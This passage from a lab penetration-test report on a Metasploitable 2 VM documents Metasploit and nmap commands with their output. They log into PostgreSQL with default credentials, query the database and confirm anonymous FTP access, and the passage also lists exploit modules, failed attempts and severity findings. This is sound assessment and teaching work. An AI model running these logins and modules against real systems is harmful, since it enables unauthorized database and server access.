  USER_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt no        File containing users, one per line
  VERBOSE           true            yes       Whether to print output for all attempts

View the full module info with the info, or info -d command.

msf auxiliary(scanner/postgres/postgres_login) > set RHOSTS 192.168.56.104
RHOSTS => 192.168.56.104
msf auxiliary(scanner/postgres/postgres_login) > set USERNAME postgres
USERNAME => postgres
msf auxiliary(scanner/postgres/postgres_login) > set PASSWORD postgres
PASSWORD => postgres
msf auxiliary(scanner/postgres/postgres_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/postgres/postgres_login) > run
[*] 192.168.56.104:5432 - No active DB - Credential data will not be saved!
[*] 192.168.56.104:5432 - 192.168.56.104:5432 - Login Successful: postgres:postgres@template1
[*] 192.168.56.104:5432 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.56.104:5432 - Bruteforce completed, 1 credential was successful.
[*] 192.168.56.104:5432 - You can open a Postgres session with these credentials and CreateSession set to true
[*] auxiliary module execution completed
msf auxiliary(scanner/postgres/postgres_login) > set CreateSession true
CreateSession => true
msf auxiliary(scanner/postgres/postgres_login) > run
[*] 192.168.56.104:5432 - No active DB - Credential data will not be saved!
[*] 192.168.56.104:5432 - 192.168.56.104:5432 - Login Successful: postgres:postgres@template1
[*] PostgreSQL session 4 opened (192.168.56.102:38103 -> 192.168.56.104:5432) at 2026-10-04 08:18:43 -0400
```

Figure: Successful PostgreSQL Authentication Using Default Credentials

```
postgresql @ 192.168.56.104:5432 (template1) > help

Core Commands
=====

Command      Description
-----
?             Help menu
background    Backgrounds the current session
bg            Alias for background
exit          Terminate the PostgreSQL session
help          Help menu
irb           Open an interactive Ruby shell on the current session
pry           Open the Pry debugger on the current session
sessions      Quickly switch to another session

PostgreSQL Client Commands
=====

Command      Description
-----
query        Run a single SQL query
query_interactive Enter an interactive prompt for running multiple SQL queries

Local File System Commands
=====

Command      Description
-----
getlwd        Print local working directory (alias for lpwd)
lcat          Read the contents of a local file to the screen
lcd           Change local working directory
ldir          List local files (alias for lls)
lls           List local files
lmkdir        Create new directory on local machine
lpwd          Print local working directory

For more info on a specific command, use <command> -h or help <command>.

This session also works with the following modules:

auxiliary/admin/postgres/postgres_readfile
auxiliary/admin/postgres/postgres_sql
auxiliary/scanner/postgres/postgres_hashdump
auxiliary/scanner/postgres/postgres_schemadump
auxiliary/scanner/postgres/postgres_version
exploit/linux/postgres/postgres_payload
exploit/multi/postgres/postgres_copy_from_program_cmd_exec
exploit/multi/postgres/postgres_createlang
exploit/windows/postgres/postgres_payload

postgresql @ 192.168.56.104:5432 (template1) > query SELECT current_user;
[*] SELECT

Response
=====

#  current_user
-  -----
0  postgres
```

Figure: Authenticated PostgreSQL Session and Database User Verification

```
postgresql @ 192.168.56.104:5432 (template1) > query SELECT version();
[*] SELECT

Response
=====

#  version
-  -----
0  PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
```

Figure: PostgreSQL Version Verification

Finding

Vulnerability: PostgreSQL Default Credentials / Unauthorized Database Access

Severity: High

Impact: Attackers can authenticate to the database using default credentials and obtain access to database information and potentially sensitive data.

Important: The PostgreSQL OS-command execution attempt did **not** create a session, so this report only claims **authenticated database access**, not operating-system compromise.

7. Vulnerability 5 — Anonymous FTP Access

7.1 Identification

The FTP service was tested for anonymous authentication.

Command

```
nmap -p 21 --script ftp-anon 192.168.56.104
```

The result confirmed:

```
Anonymous FTP login allowed
```

7.2 Manual Verification

The FTP service was accessed using:

```
ftp 192.168.56.104
```

Username:

```
anonymous
```

Password:

```
anonymous
```

The server returned:

```
230 Login successful.
```

The remote directory was then checked:

```
pwd
```

Result:

```
Remote directory: /
```

Directory listing:

```
ls
```

The directory was accessible, although no files were exposed in the tested directory.

```
[*] exec: nmap -sV -p 2049 --script nfs-showmount 192.168.56.104

Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-04 08:25 -0400
Nmap scan report for 192.168.56.104
Host is up (0.010s latency).

PORT      STATE SERVICE VERSION
2049/tcp  open  nfs      2-4 (RPC #100003)
MAC Address: 08:00:27:C1:DF:8B (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.02 seconds
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > nmap -p 21 --script ftp-anon 192.168.56.104
[*] exec: nmap -p 21 --script ftp-anon 192.168.56.104

Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-04 08:25 -0400
Nmap scan report for 192.168.56.104
Host is up (0.027s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
MAC Address: 08:00:27:C1:DF:8B (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
msf exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > ftp 192.168.56.104
[*] exec: ftp 192.168.56.104
```

```
Connected to 192.168.56.104.
220 (vsFTPD 2.3.4)
Name (192.168.56.104:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /
ftp> ls
229 Entering Extended Passive Mode (|||30289|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> █
```

Figure: Nmap Confirmation of Anonymous FTP Access

Figure: Manual Verification of Anonymous FTP Authentication

Finding

Vulnerability: Anonymous FTP Access Enabled

Severity: Medium

Impact: Unauthorized users may access files made available through the anonymous FTP service. In this assessment, the FTP root directory was accessible but contained no visible files.

8. Unsuccessful Exploitation Attempts

For professional reporting, unsuccessful attempts should **not** be presented as successful vulnerabilities.

UnrealIRCD

The Metasploit UnrealIRCD backdoor module was attempted, but the module could not automatically identify the vulnerable version. ForceExploit was tested, but **no session was created**.

Status: Not successfully exploited.

Apache Tomcat

The Tomcat Manager deployment module was attempted against port 8180, but Metasploit could not establish a reliable connection to the required manager endpoint.

Status: Not successfully exploited.

PostgreSQL COPY Command Execution

The PostgreSQL authenticated command-execution module was attempted using the valid PostgreSQL credentials.

The result was:

```
Exploit completed, but no session was created.
```

Status: Not successfully exploited.

These attempts demonstrate testing methodology but should not be counted as confirmed successful compromises.

9. Final Findings Summary

#	Finding	Port	Result	Severity
1	VSFTPD 2.3.4 Backdoor RCE	21	Root shell	Critical
2	Samba 3.0.20 Username Map RCE	139/445	Root shell	Critical
3	DistCC Command Execution	3632	Daemon shell	High
4	PostgreSQL Default Credentials	5432	Database access	High
5	Anonymous FTP Access	21	Anonymous login	Medium

10. Overall Conclusion

The assessment demonstrated that the Metasploitable 2 host was highly vulnerable due to outdated services, insecure default configurations, exposed administrative services, and known remote-code-execution vulnerabilities.

The most critical findings were the **VSFTPD 2.3.4 backdoor** and **Samba 3.0.20 Username Map Script vulnerability**, both of which resulted in verified root-level command execution. The assessment also demonstrated successful DistCC command execution, PostgreSQL database authentication using default credentials, and anonymous FTP access.

The results highlight the importance of service hardening, removal of default credentials, restricting unnecessary network exposure, disabling anonymous access, and maintaining supported software versions.